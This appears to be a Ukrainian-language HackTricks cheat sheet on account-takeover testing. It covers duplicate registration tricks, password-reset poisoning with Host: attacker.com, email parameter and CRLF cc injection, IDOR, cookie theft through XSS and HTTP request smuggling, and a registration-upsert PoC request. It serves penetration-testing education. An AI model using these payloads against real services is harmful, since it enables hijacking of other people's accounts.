Вразливості реєстрації та Takeover
Reading time: 7 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Реєстрація Takeover
Дублювання реєстрації
- Спробуйте створити акаунт з існуючим username
- Перевірте варіації email:
- верхній регістр
- +1@
- додайте крапку в email
- спеціальні символи в імені email (%00, %09, %20)
- Додайте black characters після email:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Username Enumeration
Перевірте, чи можна визначити, коли username вже зареєстрований у додатку.
Password Policy
Під час створення користувача перевірте політику паролів (чи можна використовувати слабкі паролі).
У такому випадку можна спробувати здійснити bruteforce credentials.
SQL Injection
Check this page щоб дізнатися, як намагатися takeover акаунти або витягнути інформацію через SQL Injections у формах реєстрації.
Oauth Takeovers
SAML Vulnerabilities
Зміна email
Після реєстрації спробуйте змінити email і перевірте, чи ця зміна коректно валідується або чи можна змінити її на довільні email.
Додаткові перевірки
- Перевірте, чи можна використовувати disposable emails
- Long password (>200) призводить до DoS
- Check rate limits on account creation
- Використайте username@burp_collab.net та проаналізуйте callback
Password Reset Takeover
Password Reset Token Leak Via Referrer
- Запросіть password reset на вашу email-адресу
- Клікніть по password reset link
- Не змінюйте пароль
- Клікніть на будь-який сайт третьої сторони (наприклад: Facebook, twitter)
- Перехопіть запит в Burp Suite proxy
- Перевірте, чи referer header is leaking password reset token.
Password Reset Poisoning
- Перехопіть password reset request в Burp Suite
- Додайте або змініть наступні заголовки в Burp Suite :
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Forward the request with the modified header
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Шукайте password reset URL, побудований на основі host header, наприклад :
https://attacker.com/reset-password.php?token=TOKEN
Password Reset Via Email Parameter
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR у параметрах API
- Зловмисник повинен увійти у свій акаунт і перейти до функції Change password.
- Запустіть Burp Suite та перехопіть запит
- Відправте його на вкладку repeater і відредагуйте параметри : User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Слабкий токен скидання пароля
Токен скидання пароля повинен генеруватися випадково й бути унікальним кожного разу.
Спробуйте визначити, чи токен має термін дії або чи він завжди однаковий; в деяких випадках алгоритм генерації слабкий і може бути вгаданий. Наступні змінні можуть використовуватися алгоритмом.
- Timestamp
- UserID
- Email користувача
- Ім'я та прізвище
- Дата народження
- Криптографія
- Тільки цифри
- Коротка послідовність токена ( characters between [A-Z,a-z,0-9])
- Повторне використання токена
- Дата закінчення дії токена
Leaking Password Reset Token
- Спровокуйте запит на скидання пароля через API/UI для конкретного email e.g: test@mail.com
- Inspect the server response and check for
resetToken
- Then use the token in an URL like
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset Via Username Collision
- Зареєструйтеся в системі з username, ідентичним username жертви, але з пробілами, вставленими перед та/або після імені користувача. e.g:
"admin "
- Запросіть скидання пароля для вашого зловмисного username.
- Використайте токен, надісланий на вашу електронну пошту, щоб скинути пароль жертви.
- Увійдіть в акаунт жертви з новим паролем.
The platform CTFd was vulnerable to this attack.
See: CVE-2020-7245
Account Takeover Via Cross Site Scripting
- Знайдіть XSS всередині додатку або в субдомені, якщо cookies scoped до parent домену :
*.domain.com
- Leak the current sessions cookie
- Authenticate as the user using the cookie
Account Takeover Via HTTP Request Smuggling
1. Використайте smuggler для визначення типу HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Сформуйте запит, який перезапише POST / HTTP/1.1
наступними даними:
GET http://something.burpcollaborator.net HTTP/1.1 X:
with the goal of open redirect the victims to burpcollab and steal their cookies
3. Фінальний запит може виглядати наступним чином
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone повідомляє про експлуатацію цієї вразливості
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Account Takeover via CSRF
- Створіть payload для CSRF, наприклад: “HTML form with auto submit for a password change”
- Відправте payload
Account Takeover via JWT
JSON Web Token може використовуватися для аутентифікації користувача.
- Відредагуйте JWT, підставивши інший User ID / Email
- Перевірте на наявність слабкого підпису JWT
JWT Vulnerabilities (Json Web Tokens)
Registration-as-Reset (Upsert on Existing Email)
Деякі signup handlers виконують upsert, коли вказаний email вже існує. Якщо endpoint приймає мінімальний body з email і password і не вимагає перевірки прав власності, відправлення email жертви перезапише її пароль до автентифікації.
- Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
- Method hints: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected.
- Minimal body observed in the wild:
{"email":"victim@example.com","password":"New@12345"}
Приклад PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Вплив: Повний Account Takeover (ATO) без будь-якого reset token, OTP або email verification.
Посилання
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- https://salmonsec.com/cheatsheet/account_takeover
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.